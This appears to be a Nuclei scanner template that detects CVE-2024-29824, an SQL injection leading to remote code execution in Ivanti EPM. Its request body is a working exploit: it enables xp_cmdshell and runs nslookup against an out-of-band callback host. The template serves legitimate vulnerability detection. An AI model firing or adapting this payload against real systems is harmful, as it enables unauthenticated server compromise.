63 lines
2.4 KiB
YAML
63 lines
2.4 KiB
YAML
id: CVE-2024-29824
|
|
|
|
info:
|
|
name: Ivanti EPM - Remote Code Execution
|
|
author: DhiyaneshDK
|
|
severity: critical
|
|
description: |
|
|
An unspecified SQL Injection vulnerability in Core server of Ivanti EPM 2022 SU5 and prior allows an unauthenticated attacker within the same network to execute arbitrary code.
|
|
reference:
|
|
- https://github.com/horizon3ai/CVE-2024-29824
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2024-29824
|
|
- https://forums.ivanti.com/s/article/Security-Advisory-May-2024
|
|
- https://www.horizon3.ai/attack-research/attack-blogs/cve-2024-29824-deep-dive-ivanti-epm-sql-injection-remote-code-execution-vulnerability/
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
|
cvss-score: 9.6
|
|
cve-id: CVE-2024-29824
|
|
metadata:
|
|
max-request: 1
|
|
tags: cve,cve2024,ivanti,epm,sqli,rce
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /WSStatusEvents/EventHandler.asmx HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/soap+xml
|
|
|
|
<?xml version="1.0" encoding="utf-8"?>
|
|
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
|
|
<soap12:Body>
|
|
<UpdateStatusEvents xmlns="http://tempuri.org/">
|
|
<deviceID>string</deviceID>
|
|
<actions>
|
|
<Action name="string" code="0" date="0" type="96" user="string" configguid="string" location="string">
|
|
<status>GoodApp=1|md5='; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'nslookup {{interactsh-url}}'--</status>
|
|
</Action>
|
|
</actions>
|
|
</UpdateStatusEvents>
|
|
</soap12:Body>
|
|
</soap12:Envelope>
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: content_type
|
|
words:
|
|
- 'application/soap+xml'
|
|
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- 'UpdateStatusEventsResponse'
|
|
|
|
- type: word
|
|
part: interactsh_protocol # Confirms the DNS Interaction
|
|
words:
|
|
- "dns"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a00473045022100d84da116a277ed9833fc747a1c135c6366cde3aadf2d270b957064c59679589902202205108a6149c74c7760992f3fea37504cea6e77358a9c4796017f70b7d30384:922c64590222798bb761d5b6d8e72950 |